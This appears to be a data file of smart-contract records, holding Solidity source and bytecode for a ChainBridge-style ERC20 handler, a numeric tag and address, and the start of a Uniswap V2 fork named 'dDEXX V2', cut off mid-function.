@notice Used to create new ERC20s. @param tokenAddress Address of ERC20 to transfer. @param recipient Address to mint token to. @param amount Amount of token to mint. */ function mintERC20(address tokenAddress, address recipient, uint256 amount) internal { ExampleToken erc20 = ExampleToken(tokenAddress); erc20.mint(recipient, amount); } /** @notice Used to burn ERC20s. @param tokenAddress Address of ERC20 to burn. @param owner Current owner of tokens. @param amount Amount of tokens to burn. */ function burnERC20(address tokenAddress, address owner, uint256 amount) internal { ERC20Burnable erc20 = ERC20Burnable(tokenAddress); erc20.burnFrom(owner, amount); } /** @notice Used to approve ERC20s. @param tokenAddress Address of ERC20 to approve. @param spender Spender of tokens. @param amount Amount of tokens to approve. */ function approveERC20(address tokenAddress, address spender, uint256 amount) internal { IERC20 erc20 = IERC20(tokenAddress); _safeApprove(erc20, spender, amount); } /** @notice used to transfer ERC20s safely @param token Token instance to transfer @param to Address to transfer token to @param value Amount of token to transfer */ function _safeApprove(IERC20 token, address to, uint256 value) private { _safeCall(token, abi.encodeWithSelector(token.approve.selector, to, value)); } /** @notice used to transfer ERC20s safely @param token Token instance to transfer @param to Address to transfer token to @param value Amount of token to transfer */ function _safeTransfer(IERC20 token, address to, uint256 value) private { _safeCall(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** @notice used to transfer ERC20s safely @param token Token instance to transfer @param from Address to transfer token from @param to Address to transfer token to @param value Amount of token to transfer */ function _safeTransferFrom(IERC20 token, address from, address to, uint256 value) private { _safeCall(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** @notice used to make calls to ERC20s safely @param token Token instance call targets @param data encoded call data */ function _safeCall(IERC20 token, bytes memory data) private { (bool success, bytes memory returndata) = address(token).call(data); require(success, "ERC20: call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "ERC20: operation did not succeed"); } } } // File: contracts\utils\UpgradableOwnable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract UpgradableOwnable is Context { address private _owner; bool public _isInitialised; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function ownableInit(address owner) public { require(!_isInitialised); _owner = owner; _isInitialised = true; emit OwnershipTransferred(address(0), owner); } modifier isInitisalised() { require(_isInitialised); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "sender should be owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\handlers\ERC20Handler.sol pragma solidity 0.6.4; pragma experimental ABIEncoderV2; /** @title Handles ERC20 deposits and deposit executions. @notice This contract is intended to be used with the Bridge contract. */ contract ERC20Handler is IDepositExecute, HandlerHelpers, UpgradableOwnable, ERC20Safe { struct DepositRecord { address _tokenAddress; bytes8 _destinationChainID; bytes32 _resourceID; address _destinationRecipientAddress; address _depositer; uint256 _amount; } // depositNonce => Deposit Record mapping(bytes8 => mapping(uint64 => DepositRecord)) public _depositRecords; /** @param bridgeAddress Contract address of previously deployed Bridge. */ function initialize(address bridgeAddress) public { _bridgeAddress = bridgeAddress; ownableInit(msg.sender); } function adminChangeBridgeAddress(address newBridgeAddress) external onlyOwner isInitisalised { _bridgeAddress = newBridgeAddress; } /** @param depositNonce This ID will have been generated by the Bridge contract. @param destId ID of chain deposit will be bridged to. @return DepositRecord which consists of: - _tokenAddress Address used when {deposit} was executed. - _destinationChainID ChainID deposited tokens are intended to end up on. - _resourceID ResourceID used when {deposit} was executed. - _destinationRecipientAddress Address tokens are intended to be deposited to on desitnation chain. - _depositer Address that initially called {deposit} in the Bridge contract. - _amount Amount of tokens that were deposited. */ function getDepositRecord(uint64 depositNonce, bytes8 destId) external view isInitisalised returns (DepositRecord memory) { return _depositRecords[destId][depositNonce]; } /** @notice A deposit is initiatied by making a deposit in the Bridge contract. @param destinationChainID Chain ID of chain tokens are expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. @notice Data passed into the function should be constructed as follows: amount uint256 bytes 0 - 32 recipientAddress length uint256 bytes 32 - 64 recipientAddress bytes bytes 64 - END @dev Depending if the corresponding {tokenAddress} for the parsed {resourceID} is marked true in {_burnList}, deposited tokens will be burned, if not, they will be locked. */ function deposit( bytes32 resourceID, bytes8 destinationChainID, uint64 depositNonce, address depositer, address recipientAddress, uint256 amount, bytes calldata params ) external override onlyBridge isInitisalised returns (address) { // bytes memory recipientAddress; // uint256 amount; // uint256 lenRecipientAddress; // assembly { // amount := calldataload(0xC4) // recipientAddress := mload(0x40) // lenRecipientAddress := calldataload(0xE4) // mstore(0x40, add(0x20, add(recipientAddress, lenRecipientAddress))) // calldatacopy( // recipientAddress, // copy to destinationRecipientAddress // 0xE4, // copy from calldata @ 0x104 // sub(calldatasize(), 0xE) // copy size (calldatasize - 0x104) // ) // } address tokenAddress = _resourceIDToTokenContractAddress[resourceID]; require( _contractWhitelist[tokenAddress], "provided tokenAddress is not whitelisted" ); if (_burnList[tokenAddress]) { burnERC20(tokenAddress, depositer, amount); } else { lockERC20(tokenAddress, depositer, address(this), amount); } _depositRecords[destinationChainID][depositNonce] = DepositRecord( tokenAddress, destinationChainID, resourceID, recipientAddress, depositer, amount ); return (tokenAddress); } /** @notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract. by a relayer on the deposit's destination chain. @notice Data passed into the function should be constructed as follows: amount uint256 bytes 0 - 32 destinationRecipientAddress length uint256 bytes 32 - 64 destinationRecipientAddress bytes bytes 64 - END */ function executeProposal( bytes32 resourceID, address recipientAddress, uint256 amount, bytes calldata params ) external override onlyBridge isInitisalised { // uint256 amount; // bytes memory destinationRecipientAddress; // assembly { // amount := calldataload(0x64) // destinationRecipientAddress := mload(0x40) // let lenDestinationRecipientAddress := calldataload(0x84) // mstore( // 0x40, // add( // 0x20, // add( // destinationRecipientAddress, // lenDestinationRecipientAddress // ) // ) // ) // // in the calldata the destinationRecipientAddress is stored at 0xC4 after accounting for the function signature and length declaration // calldatacopy( // destinationRecipientAddress, // copy to destinationRecipientAddress // 0x84, // copy from calldata @ 0x84 // sub(calldatasize(), 0x84) // copy size to the end of calldata // ) // } // bytes20 recipientAddress; address tokenAddress = _resourceIDToTokenContractAddress[resourceID]; // assembly { // recipientAddress := mload(add(destinationRecipientAddress, 0x20)) // } require( _contractWhitelist[tokenAddress], "provided tokenAddress is not whitelisted" ); if (_burnList[tokenAddress]) { mintERC20(tokenAddress, recipientAddress, amount); } else { releaseERC20(tokenAddress, recipientAddress, amount); } } /** @notice Used to manually release ERC20 tokens from ERC20Safe. @param tokenAddress Address of token contract to release. @param recipient Address to release tokens to. @param amount The amount of ERC20 tokens to release. */ function withdraw( address tokenAddress, address recipient, uint256 amount ) external override onlyBridge isInitisalised { releaseERC20(tokenAddress, recipient, amount); } function getAddressFromResourceId(bytes32 resourceID) external view override returns (address) { return _resourceIDToTokenContractAddress[resourceID]; } /** @notice Used to approve spending tokens. @param resourceID ResourceID to be used for approval. @param spender Spender address. @param amount Amount to approve. */ function approve( bytes32 resourceID, address spender, uint256 amount ) external override onlyBridge isInitisalised { address tokenAddress = _resourceIDToTokenContractAddress[resourceID]; require( _contractWhitelist[tokenAddress], "provided tokenAddress is not whitelisted" ); approveERC20(tokenAddress, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063c4d66de81161007c578063c4d66de81461038a578063c8ba6c87146103a6578063d9caed12146103d6578063dd2e8ec3146103f2578063ea439b2b14610410578063f2fde38b1461042c57610142565b80638da5cb5b146102e857806395601f0914610306578063a7a3fb4014610322578063b8fa373614610352578063bf1ed1eb1461036e57610142565b80636a70d0811161010a5780636a70d081146101fd578063715018a61461022d578063728e218f1461023757806375cd9cce1461025357806378f6a94c146102835780637f79bea8146102b857610142565b806307b7ed99146101475780630a6d55d814610163578063292f3a6814610193578063318c136e146101af57806334143cd7146101cd575b600080fd5b610161600480360381019061015c9190611aba565b610448565b005b61017d60048036038101906101789190611b5b565b61045c565b60405161018a91906120d7565b60405180910390f35b6101ad60048036038101906101a89190611aba565b61048f565b005b6101b7610567565b6040516101c491906120d7565b60405180910390f35b6101e760048036038101906101e29190611d85565b61058c565b6040516101f491906122a9565b60405180910390f35b61021760048036038101906102129190611aba565b610791565b60405161022491906121b3565b60405180910390f35b6102356107b1565b005b610251600480360381019061024c9190611c0f565b6108ee565b005b61026d60048036038101906102689190611c8f565b610a49565b60405161027a91906120d7565b60405180910390f35b61029d60048036038101906102989190611d49565b610dbb565b6040516102af96959493929190612129565b60405180910390f35b6102d260048036038101906102cd9190611aba565b610e71565b6040516102df91906121b3565b60405180910390f35b6102f0610e91565b6040516102fd91906120d7565b60405180910390f35b610320600480360381019061031b9190611ae3565b610ebb565b005b61033c60048036038101906103379190611b5b565b610ed2565b60405161034991906120d7565b60405180910390f35b61036c60048036038101906103679190611b84565b610f0f565b005b61038860048036038101906103839190611bc0565b610f25565b005b6103a4600480360381019061039f9190611aba565b61101b565b005b6103c060048036038101906103bb9190611aba565b611067565b6040516103cd91906121ce565b60405180910390f35b6103f060048036038101906103eb9190611ae3565b61107f565b005b6103fa6110b0565b60405161040791906121b3565b60405180910390f35b61042a60048036038101906104259190611aba565b6110c3565b005b61044660048036038101906104419190611aba565b611197565b005b61045061130d565b6104598161139e565b50565b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610497611485565b73ffffffffffffffffffffffffffffffffffffffff166104b5610e91565b73ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290612269565b60405180910390fd5b600560149054906101000a900460ff1661052457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61059461195c565b600560149054906101000a900460ff166105ad57600080fd5b600660008377ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060008467ffffffffffffffff1667ffffffffffffffff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900460c01b77ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff19168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600482015481525050905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6107b9611485565b73ffffffffffffffffffffffffffffffffffffffff166107d7610e91565b73ffffffffffffffffffffffffffffffffffffffff161461082d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082490612269565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108f661130d565b600560149054906101000a900460ff1661090f57600080fd5b60006001600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90612289565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a3557610a3081868661148d565b610a41565b610a40818686611505565b5b505050505050565b6000610a5361130d565b600560149054906101000a900460ff16610a6c57600080fd5b6000600160008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2790612289565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b9257610b8d81888761151b565b610b9f565b610b9e81883088611593565b5b6040518060c001604052808273ffffffffffffffffffffffffffffffffffffffff1681526020018a77ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018b81526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff16815260200186815250600660008b77ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060008a67ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908360c01c02179055506040820151816001015560608201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060808201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060a082015181600401559050508091505098975050505050505050565b6006602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900460c01b908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060040154905086565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000839050610ecc818430856115ab565b50505050565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610f1761130d565b610f218282611634565b5050565b610f2d61130d565b600560149054906101000a900460ff16610f4657600080fd5b60006001600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100190612289565b60405180910390fd5b611015818484611726565b50505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611064336110c3565b50565b60026020528060005260406000206000915090505481565b61108761130d565b600560149054906101000a900460ff166110a057600080fd5b6110ab838383611505565b505050565b600560149054906101000a900460ff1681565b600560149054906101000a900460ff16156110dd57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b61119f611485565b73ffffffffffffffffffffffffffffffffffffffff166111bd610e91565b73ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612269565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561124d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390612209565b60405180910390fd5b565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661142a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142190612229565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b60008390508073ffffffffffffffffffffffffffffffffffffffff166340c10f1984846040518363ffffffff1660e01b81526004016114cd92919061218a565b600060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b5050505050505050565b600083905061151581848461173c565b50505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff166379cc679084846040518363ffffffff1660e01b815260040161155b92919061218a565b600060405180830381600087803b15801561157557600080fd5b505af1158015611589573d6000803e3d6000fd5b5050505050505050565b60008490506115a4818585856115ab565b5050505050565b61162e846323b872dd60e01b8585856040516024016115cc939291906120f2565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506117c2565b50505050565b806001600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008390506117368184846118d6565b50505050565b6117bd8363a9059cbb60e01b848460405160240161175b92919061218a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506117c2565b505050565b600060608373ffffffffffffffffffffffffffffffffffffffff16836040516117eb91906120c0565b6000604051808303816000865af19150503d8060008114611828576040519150601f19603f3d011682016040523d82523d6000602084013e61182d565b606091505b509150915081611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612249565b60405180910390fd5b6000815111156118d057808060200190518101906118909190611b32565b6118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c6906121e9565b60405180910390fd5b5b50505050565b6119578363095ea7b360e01b84846040516024016118f592919061218a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506117c2565b505050565b6040518060c00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200160008019168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b600081359050611a01816123b0565b92915050565b600081519050611a16816123c7565b92915050565b600081359050611a2b816123de565b92915050565b600081359050611a40816123f5565b92915050565b60008083601f840112611a5857600080fd5b8235905067ffffffffffffffff811115611a7157600080fd5b602083019150836001820283011115611a8957600080fd5b9250929050565b600081359050611a9f8161240c565b92915050565b600081359050611ab481612423565b92915050565b600060208284031215611acc57600080fd5b6000611ada848285016119f2565b91505092915050565b600080600060608486031215611af857600080fd5b6000611b06868287016119f2565b9350506020611b17868287016119f2565b9250506040611b2886828701611a90565b9150509250925092565b600060208284031215611b4457600080fd5b6000611b5284828501611a07565b91505092915050565b600060208284031215611b6d57600080fd5b6000611b7b84828501611a1c565b91505092915050565b60008060408385031215611b9757600080fd5b6000611ba585828601611a1c565b9250506020611bb6858286016119f2565b9150509250929050565b600080600060608486031215611bd557600080fd5b6000611be386828701611a1c565b9350506020611bf4868287016119f2565b9250506040611c0586828701611a90565b9150509250925092565b600080600080600060808688031215611c2757600080fd5b6000611c3588828901611a1c565b9550506020611c46888289016119f2565b9450506040611c5788828901611a90565b935050606086013567ffffffffffffffff811115611c7457600080fd5b611c8088828901611a46565b92509250509295509295909350565b60008060008060008060008060e0898b031215611cab57600080fd5b6000611cb98b828c01611a1c565b9850506020611cca8b828c01611a31565b9750506040611cdb8b828c01611aa5565b9650506060611cec8b828c016119f2565b9550506080611cfd8b828c016119f2565b94505060a0611d0e8b828c01611a90565b93505060c089013567ffffffffffffffff811115611d2b57600080fd5b611d378b828c01611a46565b92509250509295985092959890939650565b60008060408385031215611d5c57600080fd5b6000611d6a85828601611a31565b9250506020611d7b85828601611aa5565b9150509250929050565b60008060408385031215611d9857600080fd5b6000611da685828601611aa5565b9250506020611db785828601611a31565b9150509250929050565b611dca816122eb565b82525050565b611dd9816122eb565b82525050565b611de8816122fd565b82525050565b611df781612309565b82525050565b611e0681612309565b82525050565b611e1581612313565b82525050565b611e2481612313565b82525050565b6000611e35826122c4565b611e3f81856122cf565b9350611e4f81856020860161237d565b80840191505092915050565b6000611e686020836122da565b91507f45524332303a206f7065726174696f6e20646964206e6f7420737563636565646000830152602082019050919050565b6000611ea8601e836122da565b91507f73656e646572206d7573742062652062726964676520636f6e747261637400006000830152602082019050919050565b6000611ee86024836122da565b91507f70726f766964656420636f6e7472616374206973206e6f742077686974656c6960008301527f73746564000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f4e6012836122da565b91507f45524332303a2063616c6c206661696c656400000000000000000000000000006000830152602082019050919050565b6000611f8e6016836122da565b91507f73656e6465722073686f756c64206265206f776e6572000000000000000000006000830152602082019050919050565b6000611fce6028836122da565b91507f70726f766964656420746f6b656e41646472657373206973206e6f742077686960008301527f74656c69737465640000000000000000000000000000000000000000000000006020830152604082019050919050565b60c08201600082015161203d6000850182611dc1565b5060208201516120506020850182611e0c565b5060408201516120636040850182611dee565b5060608201516120766060850182611dc1565b5060808201516120896080850182611dc1565b5060a082015161209c60a08501826120a2565b50505050565b6120ab8161235f565b82525050565b6120ba8161235f565b82525050565b60006120cc8284611e2a565b915081905092915050565b60006020820190506120ec6000830184611dd0565b92915050565b60006060820190506121076000830186611dd0565b6121146020830185611dd0565b61212160408301846120b1565b949350505050565b600060c08201905061213e6000830189611dd0565b61214b6020830188611e1b565b6121586040830187611dfd565b6121656060830186611dd0565b6121726080830185611dd0565b61217f60a08301846120b1565b979650505050505050565b600060408201905061219f6000830185611dd0565b6121ac60208301846120b1565b9392505050565b60006020820190506121c86000830184611ddf565b92915050565b60006020820190506121e36000830184611dfd565b92915050565b6000602082019050818103600083015261220281611e5b565b9050919050565b6000602082019050818103600083015261222281611e9b565b9050919050565b6000602082019050818103600083015261224281611edb565b9050919050565b6000602082019050818103600083015261226281611f41565b9050919050565b6000602082019050818103600083015261228281611f81565b9050919050565b600060208201905081810360008301526122a281611fc1565b9050919050565b600060c0820190506122be6000830184612027565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006122f68261233f565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffffffffffff00000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b60005b8381101561239b578082015181840152602081019050612380565b838111156123aa576000848401525b50505050565b6123b9816122eb565b81146123c457600080fd5b50565b6123d0816122fd565b81146123db57600080fd5b50565b6123e781612309565b81146123f257600080fd5b50565b6123fe81612313565b811461240957600080fd5b50565b6124158161235f565b811461242057600080fd5b50565b61242c81612369565b811461243757600080fd5b5056fea2646970667358221220ef99c092f618674bf1ccf88b75e0ef88b022f3a887a98c9da84183a284b4a46764736f6c63430006040033
[ 38 ]
0xf2a4f508d0a4a3b241dd752af0c7171a673c84dd
pragma solidity =0.5.16; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'dDEXX V2'; string public constant symbol = 'dDEXX-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, 